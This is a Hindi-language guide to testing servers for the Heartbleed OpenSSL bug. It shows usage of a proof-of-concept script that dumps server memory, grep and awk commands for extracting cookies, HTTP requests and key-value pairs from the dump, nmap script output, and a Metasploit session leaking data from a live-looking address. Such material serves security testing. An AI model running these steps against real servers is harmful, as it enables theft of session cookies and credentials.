
SSL हार्टबीट भेद्यता के लिए परीक्षण (CVE-2014-0160)
NB लगभग सभी उपकरणों (nmap, metasploit, nessus, यहाँ तक कि burp) में उनके स्कैनर्स के सबसे अद्यतन संस्करण मौजूद हैं। ये उपकरण शुरुआती चरणों में जारी किए गए थे जब उपकरण अभी भी विकसित किए जा रहे थे। अब इनकी बजाय उन उपकरणों का उपयोग करें।
उपयोग: heartbleed-poc.py server [options]
SSL heartbeat भेद्यता (CVE-2014-0160) के लिए परीक्षण करें
विकल्प: -h, --help यह सहायता संदेश दिखाएँ और बाहर निकलें -p PORT, --port=PORT परीक्षण के लिए TCP पोर्ट (डिफ़ॉल्ट: 443) -n NUM, --num=NUM यदि असुरक्षित है तो भेजे जाने वाले heartbeats की संख्या (परिभाषित करता है कि आपको कितनी मेमोरी वापस मिलती है) (डिफ़ॉल्ट: 1) -f FILE, --file=FILE डंप की गई मेमोरी लिखने के लिए फ़ाइल नाम (डिफ़ॉल्ट: dump.bin) -q, --quiet मेमोरी डंप प्रदर्शित न करें -s, --starttls STARTTLS जाँचें (अभी केवल smtp)
सामान्य स्कैन, 1 पुनरावृत्ति के साथ पोर्ट 443 को हिट करेगा: python heartbleed-poc.py example.com
मेमोरी डंप स्कैन, 100 अनुरोध करेगा और आउटपुट को बाइनरी फ़ाइल dump.bin में डालेगा: python heartbleed-poc.py -n100 -f dump.bin example.com
यह सुनिश्चित करने के लिए कि आपको HEAP के अलग-अलग हिस्से मिलें, सुनिश्चित करें कि सर्वर व्यस्त है, अन्यथा आपको repeat repeat मिलेगा।
STARTTLS के साथ एक मेल सर्वर की जाँच करें (यानी पोर्ट 25): python heartbleed-poc.py -s -p 25 example.com
पहले TLS संस्करण को स्पष्ट करने के लिए एक -v स्विच हुआ करता था, अब यह स्वतः पता लगाया जाता है और इसे हटा दिया गया है
बाइनरी फ़ाइल में रोचक (juicy) आउटपुट होगा, सामान खोजने के कुछ सरल तरीके यहाँ दिए गए हैं:
HTTP अनुरोध: awk '/[HPG][UEO][AST][DT ]/,/Connection/' dump.bin
कुकीज़: grep -a "^Cookie:" dump.bin
रोचक कुंजी-मूल्य जोड़े: pcregrep -ao "[A-Za-z0-9_-]+=[0-9a-zA-Z]+" dump.bin
उपयोग: nmap --script=ssl-heartbleed -p 443
उदाहरण आउटपुट:
Starting Nmap 6.41SVN ( http://nmap.org ) at 2014-04-09 17:27 SAST
Nmap scan report for <example.org> (1.2.3.4)
Host is up (0.0068s latency).
PORT STATE SERVICE
443/tcp open https
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
| State: VULNERABLE
| Risk factor: High
| Description:
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
| http://www.openssl.org/news/secadv_20140407.txt
|_ http://cvedetails.com/cve/2014-0160/
Nmap done: 1 IP address (1 host up) scanned in 0.23 seconds
msf > use auxiliary/scanner/ssl/openssl_heartbleed msf auxiliary(openssl_heartbleed) > show options
Module options (auxiliary/scanner/ssl/openssl_heartbleed):
Name Current Setting Required Description
RHOSTS yes The target address range or CIDR identifier RPORT 443 yes The target port STARTTLS None yes Protocol to use with STARTTLS, None to avoid STARTTLS (accepted: None, SMTP, IMAP, JABBER, POP3, FTP) THREADS 1 yes The number of concurrent threads TLSVERSION 1.0 yes TLS version to use (accepted: 1.0, 1.1, 1.2)
msf auxiliary(openssl_heartbleed) > set rhosts example.org rhosts => example.org msf auxiliary(openssl_heartbleed) > set STARTTLS FTP STARTTLS => FTP msf auxiliary(openssl_heartbleed) > set PORT 21 PORT => 21 msf auxiliary(openssl_heartbleed) > exploit
[] 37.187.134.197:21 - Trying to start SSL via FTP [] 37.187.134.197:21 - Sending Client Hello... [] 37.187.134.197:21 - Sending Heartbeat... [] 37.187.134.197:21 - Heartbeat response, checking if there is data leaked... [+] 37.187.134.197:21 - Heartbeat response with leak [] 37.187.134.197:21 - Printable info leaked: @SE F(CKMIWsf"!98532ED/A [] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed